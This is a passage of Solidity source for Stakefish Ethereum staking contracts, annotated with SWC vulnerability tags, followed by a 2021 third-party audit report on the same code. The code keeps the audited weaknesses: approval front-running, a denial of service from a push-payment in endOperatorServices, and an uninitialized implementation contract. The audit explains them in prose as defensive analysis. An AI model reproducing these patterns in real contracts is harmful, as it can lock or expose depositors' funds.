mload(reason)) } } } } else { return true; } } } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/IStakefishServicesContract.sol"; import "./interfaces/IStakefishServicesContractFactory.sol"; import "./libraries/ProxyFactory.sol"; import "./libraries/Address.sol"; import "./StakefishServicesContract.sol"; contract StakefishServicesContractFactory is ProxyFactory, IStakefishServicesContractFactory { using Address for address; using Address for address payable; uint256 private constant FULL_DEPOSIT_SIZE = 32 ether; uint256 private constant COMMISSION_RATE_SCALE = 1000000; uint256 private _minimumDeposit = 0.1 ether; address payable private _servicesContractImpl; address private _operatorAddress; uint24 private _commissionRate; modifier onlyOperator() { require(msg.sender == _operatorAddress); _; } constructor(uint24 commissionRate) { require(uint256(commissionRate) <= COMMISSION_RATE_SCALE, "Commission rate exceeds scale"); _operatorAddress = msg.sender; _commissionRate = commissionRate; _servicesContractImpl = payable(new StakefishServicesContract()); emit OperatorChanged(msg.sender); emit CommissionRateChanged(commissionRate); } function changeOperatorAddress(address newAddress) external override onlyOperator { require(newAddress != address(0), "Address can't be zero address"); _operatorAddress = newAddress; emit OperatorChanged(newAddress); } function changeCommissionRate(uint24 newCommissionRate) external override onlyOperator { require(uint256(newCommissionRate) <= COMMISSION_RATE_SCALE, "Commission rate exceeds scale"); _commissionRate = newCommissionRate; emit CommissionRateChanged(newCommissionRate); } function changeMinimumDeposit(uint256 newMinimumDeposit) external override onlyOperator { _minimumDeposit = newMinimumDeposit; emit MinimumDepositChanged(newMinimumDeposit); } function createContract( bytes32 saltValue, bytes32 operatorDataCommitment ) external payable override returns (address) { require (msg.value <= 32 ether); bytes memory initData = abi.encodeWithSignature( "initialize(uint24,address,bytes32)", _commissionRate, _operatorAddress, operatorDataCommitment ); address proxy = _createProxyDeterministic(_servicesContractImpl, initData, saltValue); emit ContractCreated(saltValue); if (msg.value > 0) { IStakefishServicesContract(payable(proxy)).depositOnBehalfOf{value: msg.value}(msg.sender); } return proxy; } function createMultipleContracts( uint256 baseSaltValue, bytes32[] calldata operatorDataCommitments ) external payable override { uint256 remaining = msg.value; for (uint256 i = 0; i < operatorDataCommitments.length; i++) { bytes32 salt = bytes32(baseSaltValue + i); bytes memory initData = abi.encodeWithSignature( "initialize(uint24,address,bytes32)", _commissionRate, _operatorAddress, operatorDataCommitments[i] ); address proxy = _createProxyDeterministic( _servicesContractImpl, initData, salt ); emit ContractCreated(salt); uint256 depositSize = _min(remaining, FULL_DEPOSIT_SIZE); if (depositSize > 0) { IStakefishServicesContract(payable(proxy)).depositOnBehalfOf{value: depositSize}(msg.sender); remaining -= depositSize; } } if (remaining > 0) { payable(msg.sender).sendValue(remaining); } } function fundMultipleContracts( bytes32[] calldata saltValues, bool force ) external payable override returns (uint256) { uint256 remaining = msg.value; address depositor = msg.sender; for (uint256 i = 0; i < saltValues.length; i++) { if (!force && remaining < _minimumDeposit) break; address proxy = _getDeterministicAddress(_servicesContractImpl, saltValues[i]); if (proxy.isContract()) { IStakefishServicesContract sc = IStakefishServicesContract(payable(proxy)); if (sc.getState() == IStakefishServicesContract.State.PreDeposit) { uint256 depositAmount = _min(remaining, FULL_DEPOSIT_SIZE - address(sc).balance); if (force || depositAmount >= _minimumDeposit) { sc.depositOnBehalfOf{value: depositAmount}(depositor); remaining -= depositAmount; } } } } if (remaining > 0) { payable(msg.sender).sendValue(remaining); } return remaining; } function getOperatorAddress() external view override returns (address) { return _operatorAddress; } function getCommissionRate() external view override returns (uint24) { return _commissionRate; } function getServicesContractImpl() external view override returns (address payable) { return _servicesContractImpl; } function getMinimumDeposit() external view override returns (uint256) { return _minimumDeposit; } function _min(uint256 a, uint256 b) pure internal returns (uint256) { return a <= b ? a : b; } } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/deposit_contract.sol"; import "./interfaces/IStakefishServicesContract.sol"; import "./libraries/Address.sol"; contract StakefishServicesContract is IStakefishServicesContract { using Address for address payable; uint256 private constant HOUR = 3600; uint256 private constant DAY = 24 * HOUR; uint256 private constant WEEK = 7 * DAY; uint256 private constant YEAR = 365 * DAY; uint256 private constant MAX_SECONDS_IN_EXIT_QUEUE = 1 * YEAR; // SWC-Presence of unused variables: L33 uint256 private constant MAX_TIME_TO_WITHDRAW = 1 * YEAR; uint256 private constant COMMISSION_RATE_SCALE = 1000000; // Packed into a single slot uint24 private _commissionRate; address private _operatorAddress; uint64 private _exitDate; State private _state; bytes32 private _operatorDataCommitment; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => mapping(address => uint256)) private _allowedWithdrawals; mapping(address => uint256) private _deposits; uint256 private _totalDeposits; IDepositContract public constant depositContract = IDepositContract(0x00000000219ab540356cBB839Cbe05303d7705Fa); modifier onlyOperator() { require( msg.sender == _operatorAddress, "Caller is not the operator" ); _; } modifier initializer() { require( _state == State.NotInitialized, "Contract is already initialized" ); _state = State.PreDeposit; _; } function initialize( uint24 commissionRate, address operatorAddress, bytes32 operatorDataCommitment ) external initializer { _commissionRate = commissionRate; _operatorAddress = operatorAddress; _operatorDataCommitment = operatorDataCommitment; } receive() payable external { if (_state == State.PreDeposit) { _handleDeposit(msg.sender); } } function updateExitDate(uint64 newExitDate) external override onlyOperator { require( _state == State.PostDeposit, "Validator is not active" ); require( newExitDate < _exitDate, "Not earlier than the original value" ); _exitDate = newExitDate; } function createValidator( bytes calldata validatorPubKey, // 48 bytes bytes calldata depositSignature, // 96 bytes bytes32 depositDataRoot, uint64 exitDate ) external override onlyOperator { require(_state == State.PreDeposit, "Validator has been created"); _state = State.PostDeposit; require(validatorPubKey.length == 48, "Invalid validator public key"); require(depositSignature.length == 96, "Invalid deposit signature"); require(_operatorDataCommitment == keccak256( abi.encodePacked( address(this), validatorPubKey, depositSignature, depositDataRoot, exitDate ) ), "Data doesn't match commitment"); _exitDate = exitDate; depositContract.deposit{value: 32 ether}( validatorPubKey, abi.encodePacked(uint96(0x010000000000000000000000), address(this)), depositSignature, depositDataRoot ); emit ValidatorDeposited(validatorPubKey); } function deposit() external payable override returns (uint256 surplus) { require( _state == State.PreDeposit, "Validator already created" ); return _handleDeposit(msg.sender); } function depositOnBehalfOf(address depositor) external payable override returns (uint256 surplus) { require( _state == State.PreDeposit, "Validator already created" ); return _handleDeposit(depositor); } // SWC-DoS with Failed Call: L171-L189 function endOperatorServices() external override { require(_state == State.PostDeposit, "Not allowed in the current state"); require((msg.sender == _operatorAddress) || (_deposits[msg.sender] > 0 && block.timestamp > _exitDate + MAX_SECONDS_IN_EXIT_QUEUE), "Not allowed at the current time"); _state = State.Withdrawn; uint256 balance = address(this).balance; if (balance > 32 ether) { uint256 profit = balance - 32 ether; uint256 finalCommission = profit * _commissionRate / COMMISSION_RATE_SCALE; payable(_operatorAddress).sendValue(finalCommission); } emit ServiceEnd(block.timestamp); } string private constant WITHDRAWALS_NOT_ALLOWED = "Not allowed when validator is active"; function withdrawAll() external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); return _executeWithdrawal(msg.sender, payable(msg.sender), _deposits[msg.sender]); } function withdraw( uint256 amount ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); return _executeWithdrawal(msg.sender, payable(msg.sender), amount); } function withdrawTo( uint256 amount, address payable beneficiary ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); return _executeWithdrawal(msg.sender, beneficiary, amount); } // SWC-Transaction Order Dependence: L226-L247 function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function approveWithdrawal( address spender, uint256 amount ) external override { _allowedWithdrawals[msg.sender][spender] = amount; emit WithdrawalApproval(msg.sender, spender, amount); } function withdrawFrom( address depositor, address payable beneficiary, uint256 amount ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); uint256 spenderAllowance = _allowedWithdrawals[depositor][msg.sender]; uint256 newAllowance = spenderAllowance - amount; // Please note that there is no need to require(_deposit <= spenderAllowance) // here because modern versions of Solidity insert underflow checks _allowedWithdrawals[depositor][msg.sender] = newAllowance; emit WithdrawalApproval(depositor, msg.sender, newAllowance); return _executeWithdrawal(depositor, beneficiary, amount); } function transferDeposit( address to, uint256 amount ) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferDepositFrom( address from, address to, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowances[from][msg.sender]; _approve(from, msg.sender, currentAllowance - amount); _transfer(from, to, amount); return true; } function withdrawalAllowance( address depositor, address spender ) external view override returns (uint256) { return _allowedWithdrawals[depositor][spender]; } function getCommissionRate() external view override returns (uint256) { return _commissionRate; } function getExitDate() external view override returns (uint256) { return _exitDate; } function getState() external view override returns(State) { return _state; } function getOperatorAddress() external view override returns (address) { return _operatorAddress; } function getDeposit(address depositor) external view override returns (uint256) { return _deposits[depositor]; } function getTotalDeposits() external view override returns (uint256) { return _totalDeposits; } function getAllowance( address owner, address spender ) external view override returns (uint256) { return _allowances[owner][spender]; } function getOperatorDataCommitment() external view override returns (bytes32) { return _operatorDataCommitment; } function _executeWithdrawal( address depositor, address payable beneficiary, uint256 amount ) internal returns (uint256) { require(amount > 0, "Amount shouldn't be zero"); uint256 value = amount * address(this).balance / _totalDeposits; // Modern versions of Solidity automatically add underflow checks, // so we don't need to `require(_deposits[_depositor] < _deposit` here: _deposits[depositor] -= amount; _totalDeposits -= amount; emit Withdrawal(depositor, beneficiary, amount, value); payable(beneficiary).sendValue(value); return value; } // NOTE: This throws (on underflow) if the contract's balance was more than // 32 ether before the call function _handleDeposit(address depositor) internal returns (uint256 surplus) { uint256 depositSize = msg.value; surplus = (address(this).balance > 32 ether) ? (address(this).balance - 32 ether) : 0; uint256 acceptedDeposit = depositSize - surplus; _deposits[depositor] += acceptedDeposit; _totalDeposits += acceptedDeposit; emit Deposit(depositor, acceptedDeposit); payable(depositor).sendValue(surplus); } function _transfer( address from, address to, uint256 amount ) internal { require(to != address(0), "Transfer to the zero address"); _deposits[from] -= amount; _deposits[to] += amount; emit Transfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(spender != address(0), "Approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Security Audit Report Stakefish Ethereum Staking 2.0 Delivered: October 22, 2021 Prepared for Stakefish by Summary Disclaimer Findings A01: Transaction Order Dependence A02: Possibility of disproportional payments after services end A03: StakefishERC721Wrapper non-conformance with ERC721 A04: Vulnerability in StakefishServicesContract.receive() A05: Initialization of the logic contract of StakefishServicesContract A06: DoS with failed calls for endOperatorServices() Informative Findings B01: Unused Constant B02: Missing check for exit date during endOperatorServices B03: Dependency between salt and operatorDataCommitment B04: Exit date change after user’s verification B05: Input validation for commission rate B06: Recycling unused storage slots in ERC721 wrappers B07: Input validation for StakefishERC721Wrapper.approve() B08: Missing setters or immutable annotations in StakefishServicesContractFactory B09: Griefing attacks for contract creations in StakefishServicesContractFactory B10: Potential reentrancy vulnerability in ERC721 wrappers 1 Summary Runtime Verification, Inc. conducted a security audit on the Stakefish Ethereum Staking 2.0 contract. The audit was conducted from October 4, 2021 to October 22, 2021. Scope The target of the audit is the smart contract source files at git-commit-id d91928f3a270f6115831fe3a21a69eb98bf57b26 . We also made a best effort to audit the changes from commit-id 0e964a40f69cfa7d56f124efe694b5e55410ed5b . Best effort means that it was performed beyond the agreed-upon scope, and it may not necessarily have the same quality. The audit focused on the following core contracts, reviewing their functional correctness and integration with external contracts: ●StakefishERC20Wrapper.sol ●StakefishERC721Wrapper.sol ●StakefishServicesContract.sol ●StakefishServicesContractFactory.sol ●interfaces/IStakefishServicesContract.sol ●interfaces/IStakefishServicesContractFactory.sol The library contracts (libraries/ ) and interfaces (interfaces/ ) were given only lightweight review. The audit is limited in scope within the boundary of the Solidity contract only. Off-chain and client-side portions of the codebase, as well as deployment and upgrade scripts are n o t in the scope of this engagement. Assumptions The audit is based on the following assumptions and trust model. ● The operator of a service contract is trusted to be responsive and behave honestly throughout the contract’s lifetime. This assumption is critical to rule out the deposit front-running vulnerability . The client has confirmed that this assumption will be satisfied because of their operating model. ● The intended exit date of a validator is set far enough in the future. In particular, we assume that the Eth2.0 merge will happen before the exit date. ● The probability of address collisions, in particular in the presence of deterministic addresses, is sufficiently small. Specifically, we assume that the addresses of the 2 deployed contracts cannot be owned simultaneously by any user other than the contract owner. ● Cryptographic primitives (e.g., keccak256) possess their intended security properties. Methodology Although the manual code review cannot guarantee to find all possible security vulnerabilities as mentioned in Disclaimer , we have followed the following approaches to make our audit as thorough as possible. First, we rigorously reasoned about the business logic of the contract, validating security-critical properties to ensure the absence of loopholes in the business logic and/or inconsistency between the logic and the implementation. Then, we carefully checked if the code is vulnerable to known security issues and attack vectors . Finally, we symbolically executed part of the compiled bytecode to systematically search for unexpected, possibly exploitable, behaviors at the bytecode level, that are due to EVM quirks or Solidity compiler bugs. 3 Disclaimer This report does not constitute legal or investment advice. The preparers of this report present it as an informational exercise documenting the due diligence involved in the secure development of the target contract only, and make no material claims or guarantees concerning the contract's operation post-deployment. The preparers of this report assume no liability for any and all potential consequences of the deployment or use of this contract. Smart contracts are still a nascent software arena, and their deployment and public offering carries substantial risk. This report makes no claims that its analysis is fully comprehensive, and recommends always seeking multiple opinions and audits. This report is also not comprehensive in scope, excluding a number of components critical to the correct operation of this system. The possibility of human error in the manual review process is very real, and we recommend seeking multiple independent opinions on any claims which impact a large quantity of funds. 4 Findings A01: Transaction Order Dependence [ Severity: Medium | Difficulty: Medium | Category: Security ] Theapprove andapproveWithdrawal methods ofStakefishServicesContract.sol suffer from the same race-condition as ERC20 ( https://swcregistry.io/docs/SWC-114 ). Scenario 1. Alice allows Bob to withdraw 16Eth. 2. She later decides that she doesn't fully trust Bob and wants to reduce his allowance to 8Eth. 3. Bob sees Alice's transaction and front runs her to withdraw 16Eth. 4. If Bob's transaction is included before Alice's, he can withdraw another 8Eth. 5. Bob has now withdrawn 24Eth from Alice. Recommendation A straightforward mitigation technique is to implementincrementApproval anddecrementApproval methods instead ofapprove . If Alice useddecreaseAllowance in the above scenario, then Bob could still front-run Alice and withdraw his allowance before it is decremented, but not more than that. decrementApproval could either revert when the new amount would underflow or set the new amount to zero instead. The first option is still susceptible to a front-running scenario: 1. Alice approves Bob 16Eth 2. Alice decreases the allowance by 8Eth 3. Bob sees Alice's tx on the mempool and withdraws 9Eth 4. If Bob's tx is included before Alice's, Alice's tx will revert due to underflow 5. Bob can later withdraw another 7Eth. The second option avoids this scenario by enforcing a decrementation. Remark, however, that Bob could still withdraw 16Eth in step 3 as mentioned above. 5 Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 and added forced decrease variants in f3fc10c4f85a536a9cb21b01913cfa532cd7022e 6 A02: Possibility of disproportional payments after services end [ Severity: High | Difficulty: High | Category: Security ] Once the StakefishServicesContract enters the Withdrawn phase, depositors can withdraw their share from the contract. If ServiceContract hasn't been paid its collateral and staking rewards, depositors won’t get their fair proportional share if they withdraw too early. Scenario 1. Let's assume that each of Alice and Bob has deposited 16Eth. 2. The validator has performed well over its lifetime and accumulated 1Eth of staking rewards. 3. IfendOperatorServices is called before the collateral + rewards are paid back to the service contract, two things can happen: a. The operator will not receive his commission fee because the contract's balance is less than 32Eth. b. If Alice withdraws her shares too early, she will be paid 0 Eth. Bob is more observant and waits until the service contract has been paid. He can then withdraw 33Eth. Discussion Stakefish has opted to allow depositors to enter the withdrawal phase to protect their stakes if the operator isn’t working correctly or responding. In this case, depositors should still be able to withdraw their funds. As mitigation against the above scenario, the operator chooses a long waiting time (_exitDate + 1 year ) before depositors can callendOperatorServices successfully. The residual risk remains - especially before the Eth 2.0 merge has happened - that this waiting period is too short, and the scenario could be exploited. Alternative mitigations, like a committee-based approach to exit, were considered but rejected due to their complexity and additional risks. Recommendation Since the operator is trusted, we recommend that the operator initializes service contracts with anexitDate that lives far in the future to minimize the residual risk of the above scenario. Additionally, depositors and approved withdrawers should carefully check that the collateral and staking rewards have been paid back to the service contract before withdrawing. Users should be informed transparently about this scenario. Furthermore, as an orthogonal measure, add a slippage protection for withdrawals. Users are asked to provide the minimum amount of proceeds for their withdrawal requests, and the 7 minimum amount is compared to the return value of_executeWithdrawal() . If the return value is smaller than the minimum, then the withdrawal request should revert. This can help prevent users from requesting withdrawals too early and losing their funds accidentally. Note that the minimum amount can also be automatically and conservatively calculated by the UI front-end by retrieving the eth2 state off-chain. Status Addressed in f3fc10c4f85a536a9cb21b01913cfa532cd7022e by adding the slippage protection. 8 A03: StakefishERC721Wrapper non-conformance with ERC721 [ Severity: High | Difficulty: Low | Category: Functional Correctness ] ERC721 requires that the following methods throw, if_to is the zero-address: ●safeTransferFrom(address _from, address _to, uint256 _tokenId, bytesdata) ●safeTransferFrom(address _from, address _to, uint256 _tokenId) ●transferFrom(address _from, address _to, uint256 _tokenId) StakefishERC721Wrapper doesn’t check these conditions and doesn’t throw. Tokens owned by the zero-address are interpreted as non-existent tokens. Therefore the transfer methods can lead to an unintentional burning of tokens. Scenario 1. Alice mints some StakefishERC721 tokens 2. Alice interacts with the contract through an external tool that expects that the StakefishERC721Wrapper conforms to the ERC721 specification. 3. The external tool calls thesafeTransferFrom function on Alice's behalf with the _to-address set to the zero-address. 4. The external tool does not check that the _to-address is zero because it is built on the assumption that the StakefishERC721Wrapper will revert anyway. 5. The call succeeds, and Alice loses her tokens. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 9 A04: Vulnerability in StakefishServicesContract.receive() [ Severity: Medium to High | Difficulty: Medium to High | Category: Security ] The receive() function implements a feature that allows users to deposit via a plain Ether transfer transaction instead of calling the deposit() function. This can lead to the loss of user funds. Scenario 1 Suppose the balance of the service contract S has been 31 ether for a while. Suppose the following two things happen at a similar time: 1. Alice notices the opportunity to deposit 1 ether to S , and sends her 1 ether to the service contract, via a plain Ether transfer rather than submitting a deposit() transaction. 2. The operator of S doesn’t want to wait for more investors and submit a s i n g l e transaction that deposits 1 ether, followed by calling createValidator(). If the operator’s transaction (the second one) is somehow processed before Alice’s by miners, then Alice loses her funds and cannot claim it back. Her funds will be just distributed by other deposits later when they withdraw. Scenario 2 Suppose a service contract is deployed but not yet initialized for some reason. Without noticing the uninitialized status, Bob sends his funds to the service contract via a plain Ether transfer, and he will lose his funds. Recommendation For the short term, clearly document this behavior and strongly recommend users to call the deposit() function rather than a plain Ether transfer when they deposit. For the long term, redesign the architecture to receive the eth2 withdrawal payment in a separate contract so that the service contract can reject users’ ether transfer after createValidator() is executed or before the contract is initialized. Status Addressed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 by removing the plain deposit feature. 10 A05: Initialization of the logic contract of StakefishServicesContract [ Severity: Unknown | Difficulty: Low | Category: Security ] In the constructor() of the StakefishServicesContractFactory contract, an instance of the StakefishServicesContract contract (which is to be used as the implementation contract of proxies) is deployed but n e v e r initialized. Although the uninitialized implementation contract will n o t directly harm proxies associated with it, this may open other attack surfaces and lead to undesired situations. Scenario Suppose the implementation contract is deployed without being initialized. Several undesired scenarios are possible. ● Users may accidentally send their funds into the implementation contract, possibly due to misunderstanding the proxy pattern. Since it is uninitialized, the_state value isNotInitialized . Thus any plain Ether transfer to it will n o t be recorded in the_deposits mapping, which cannot be withdrawn. ● On the other hand, adversaries may initialize the implementation contract with their own address, becoming the operator for it. They may pretend to be a legitimate operator and phish users (e.g., phishing websites that look identical to the legitimate one). Poor users may deposit funds into it, and adversaries may steal users' funds (e.g., using the exploit described in A02 , or convincing users to approve withdrawals). Recommendation For the short term, consider initializing the_servicesContractImpl contract, e.g.,initialize(0,0,0) , in the StakefishServicesContractFactory.constructor(). This way, no one can take control of the implementation contract because_operatorAddress is set to zero. Moreover, the_state is set to PreDeposit, and thus any accidental deposits (made by either deposit() calls or plain Ether transfers) into the implementation contract can be withdrawn later, preventing users from losing funds by mistake. For the long term, consider adding a pause feature to the service contract and pause the implementation contract at the time of deployment so that any (accidental or malicious) interactions to the implementation contract can be rejected in the first place. Note that such a pause feature can also be helpful for actual service contract instances in case of any unexpected (internal or external) situations. 11 Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 12 A06: DoS with failed calls for endOperatorServices() Accidentally or maliciously, operators could become incapable of receiving ethers, which could lock user funds indefinitely. Scenario Suppose the operator becomes non-functioning and incapable of receiving ethers. Suppose that the eth2 exit payment is received and the balance is now bigger than 32 ether. Then, endOperatorServices() will fail because of the failure of the operator fee payment . That means the funds will be locked, and the depositors cannot withdraw their funds. Recommendation Consider implementing the pull pattern for the operator fee payment. That is, endOperatorServices() puts aside the fee, and the operator claims it later. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 13 Informative Findings B01: Unused Constant [ Severity: N/A | Difficulty: N/A | Category: Best Practice ] StakefishServicesContract defines a constantMAX_TIME_TO_WITHDRAW that is never used. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 14 B02: Missing check for exit date during endOperatorServices [ Severity: N/A | Difficulty: N/A | Category: Usability ] When the operator creates a validator, he provides an intended exit date. It should not be possible for the operator to accidentally signal a voluntary exit message before the date has passed. However, the implementation of theendOperatorServices function lacks a proper check for that condition. Note that it is still possible for the operator to exit earlier intentionally by first changing the intended exit date. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 15 B03: Dependency between salt and operatorDataCommitment [ Severity: N/A | Difficulty: N/A | Category: Usability ] The parameters ofStakefishServicesContractFactory.deployContract are not independent: TheoperatorDataCommitment depends on thesaltValue , because thesalt is used to compute the deterministic address of the about-to-be deployed contract, and theoperatorDataCommitment depends on the address. Consequently, the function caller must ensure that theoperatorDataCommitment he is passing in is actually computed from thesalt he is passing in. If he fails to meet this requirement, he will deploy a dysfunctional contract that will never be able to create a validator because the validation of theoperatorDataCommitment always fails. Scenario 1. Alice wants to deploy a new service contract with the intention to create a validator once the necessary 32Eth has been deposited into the service contract. 2. Alice calls the deployContract function with an operatorDataCommitment that is not computed correctly from the given salt. 3. The service contract deposits reached the threshold of 32Eth. 4. Alice wants to create the validator node, but the createValidator method keeps failing because the commitment-hash cannot be validated. 5. Alice notices her mistake in step 2 and notifies the stakeholders about the unfortunate situation. 6. Depositors can withdraw their deposits. No funds are permanently lost; only gas costs cannot be recovered. Recommendation Document the dependency between the parameters and provide users with the necessary information and instructions on computing the operatorDataCommitment from the salt. Status Acknowledged by the client. 16 B04: Exit date change after user’s verification [ Severity: N/A | Difficulty: N/A | Category: Informational ] The service contract uses a commitment scheme to maintain parameters that the operator uses during validator creation. The intention of the commitment scheme is to save gas costs: Instead of storing the parameter on-chain, the operator provides a data commitment on initialization and only reveals the actual parameters on validator creation. The service contract validates the revealed parameters against the commitment right before the validator is created. The parameters are made available via the frontend to potential users to validate the commitment on their own before investing in the contract. One particular parameter used in this commitment scheme is the intended exit date of the validator. However, the operator can change the exit date to an earlier date even after the validator has been created and users have verified it. This is indeed intentional: The exitDate is pessimistically set to a date far in the future to lower the risk of A02. Once the operator confirms that the service contract has been paid its collateral and staking rewards, he can opt to enter the withdrawal phase earlier than the originally provided pessimistic exit date. This way, deposits are not locked in longer than strictly necessary. Scenario 1. Alice considers investing in a service contract. 2. She discovers a service contract to her liking and validates that the operator correctly committed the exit date. 3. Alice deposits some Eth in the service contract. 4. Once the service contract has reached the threshold of 32, the operator creates a validator node. 5. The validator signals its voluntary exit. 6. The operator notices that the collateral and staking rewards have been paid back to the service contract. 7. The operator intentionally sets the exit date to an earlier date and advances to the withdrawal phase so that depositors can withdraw their fair shares. 8. Alice is surprised that the exit date is earlier than the exit, which she validated. 9. Although Alice didn’t lose any money, she is confused by the early exit and loses trust in the StakefishServiceContract. Recommendation We recommend that the above behavior be adequately documented to avoid users being surprised or confused when the exit date changes even after validating the original exit date. 17 Status Acknowledged by the client. 18 B05: Input validation for commission rate [ Severity: N/A | Difficulty: N/A | Category: Input Validation ] It is recommended to check the validity of_commissionRate in the StakefishServicesContract.initialize() function as follows: require(_commissionRate <= COMMISSION_RATE_SCALE); Discussion Although it is checked in the factory contract, it is still better practice to add the same check in the service contract in the case that a service contract instance is deployed without going through the factory. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 19 B06: Recycling unused storage slots in ERC721 wrappers [ Severity: N/A | Difficulty: N/A | Category: Best Practice ] Both_servicesContracts[tokenId] and_deposits[tokenId] are n o t deleted in StakefishERC721Wrapper.redeemTo(), while both_owners[tokenId] and_tokenApprovals[tokenId] are cleared. It is a better defensive programming practice to recycle unused storage slots, to make storage corruption attacks harder. Scenario Suppose a token X had been redeemed in the ERC721 wrapper. Suppose Alice somehow manages to corrupt_owners[X] to be set to an account in her control. Then, she can redeem the token X again because both_servicesContracts[X] and_deposits[X] still hold the previous data. Discussion We admit that storage slots corruption is very hard, but note that the recycling practice will make such attacks much harder because it will require adversaries to corrupt t h r e e storage slots rather than a s i n g l e slot otherwise. Recommendation Delete both_servicesContracts[tokenId] and_deposits[tokenId] after the token transfer in StakefishERC721Wrapper.redeemTo(). Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 20 B07: Input validation for StakefishERC721Wrapper.approve() [ Severity: N/A | Difficulty: N/A | Category: Input Validation ] It can be considered to have an extra check for the existence of_owners[tokenId] in StakefishERC721Wrapper.approve(). Discussion Although there exist n o logical paths that can pass the following second require clause in case of_owners[tokenId] ==0 , provided that the_operatorApprovals mapping is n e v e r compromised: 1 require(msg.sender == owner || isApprovedForAll(owner, msg.sender),"Not owner nor approved for all"); It is still a better defensive programming practice to have an explicit check and revert earlier in case of unexpected catastrophic failures due to hidden bugs. Recommendation Add “require(_owners[tokenId] != address(0)) ” in StakefishERC721Wrapper.approve(). Status Acknowledged by the client. 1 For example, if the_operatorApprovals mapping is somehow corrupted, where_operatorApprovals[0][msg.sender] is set n o n - z e r o , then the second require clause could n o t detect the non-existence. 21 B08: Missing setters or immutable annotations in StakefishServicesContractFactory [ Severity: N/A | Difficulty: N/A | Category: Best Practice ] In the StakefishServicesContractFactory contract, the_servicesContractImpl variable cannot be updated later after initialization, while it is n o t declaredimmutable . Recommendation Add a setter, o r theimmutable annotation , for_servicesContractImpl . NOTE : the_servicesContractImpl variable c a n n o t be declared asimmutable if it is read in the constructor() to adopt the recommendation of A05 . Status The client confirmed that the variable is immutable. 22 B09: Griefing attacks for contract creations in StakefishServicesContractFactory [ Severity: N/A | Difficulty: N/A | Category: Security ] Salt values are revealed in the createContract() or createMultipleContracts() calls, which can be exploited for griefing attacks. Scenario 1. Alice submits a transaction that calls createContract() or createMultipleContracts(). 2. Seeing Alice’s transaction in the mempool, Bob submits another transaction with the same salt but dummy invalid operatorDataCommitment(s) and zero ether, at a higher gas price. 3. If Bob’s transaction is processed before Alice’s, then Alice’s transaction will fail. 4. However, Alice may n o t notice the failure because a ContractCreated event is emitted with the given salt value, although it comes from Bob’s transaction. 5. Without noticing the failure of her legitimate transaction, Alice may proceed with receiving deposits from users, and later she will fail to create a validator because the commitment is invalid. At this point, Alice has to ask users to withdraw their funds and deposit again into another service contract, which can be annoying, and users may leave. Recommendation Consider adding theonlyOperator modifier for both createContract() and createMultipleContracts(). Status Acknowledged by the client. 23 B10: Potential reentrancy vulnerability in ERC721 wrappers [ Severity: N/A | Difficulty: N/A | Category: Security ] In the mintTo() function of the ERC721 wrapper, the_safeMint() call is made before the transferDepositFrom() call, where a user-provided callback is executed inside_safeMint() , which may introduce a potential attack surface of reentrancy. It is a better defensive programming practice to take collateral before minting tokens to avoid potential exploits. Recommendation In StakefishERC721Wrapper.mintTo(), move the_safeMint() call after the transferDepositFrom() call, to enforce the deposit transfer to be made before minting tokens. (Similarly, consider moving down the _mint() call in StakefishERC20Wrapper.mintTo(), to follow the same pattern, although it is not directly related to this finding.) Also, clearly document the security implications of ERC721 callbacks to inform potential users of the ERC721 wrappers. Status Fixed in 3df5f54b0b11bfe1b6c71fa92cd301e0cc637e01 . 24
